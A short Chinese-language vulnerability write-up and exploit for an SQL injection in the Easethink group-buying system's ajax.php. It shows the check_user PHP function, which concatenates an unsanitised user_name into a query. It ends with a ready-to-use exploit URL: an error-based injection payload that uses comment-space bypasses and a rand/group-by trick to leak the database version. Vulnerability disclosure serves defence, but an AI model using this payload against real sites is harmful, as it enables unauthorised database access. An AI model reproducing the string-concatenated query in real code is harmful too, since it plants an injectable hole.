易想团购ajax.php SQL注入分析和Exp

* 验证会员数据

        */

        function check_user($field_name,$field_data)

        {

                 //开始数据验证

                 $user_data[$field_name] = $field_data;

                 $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据

                 if(trim($user_data['user_name'])==''&&$field_name=='user_name')

                 {

                         $field_item['field_name'] = 'user_name';

                         $field_item['error']      =        EMPTY_ERROR;

                         $res['status'] = 0;

                         $res['data'] = $field_item;

                         return $res;

                 }

                 if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from 
".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <>
 ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值，
这里只是过滤了空格。所有存在SQL注入漏洞。

                 {

                         $field_item['field_name'] = 'user_name';

                         $field_item['error']      =        EXIST_ERROR;

                         $res['status'] = 0;

                         $res['data'] = $field_item;

                         return $res;

                 }

http:// www.2cto.com /easethink_free_v1.4/ajax.php?act=check_field&field_name=user_name&
field_data='and/**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor
(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23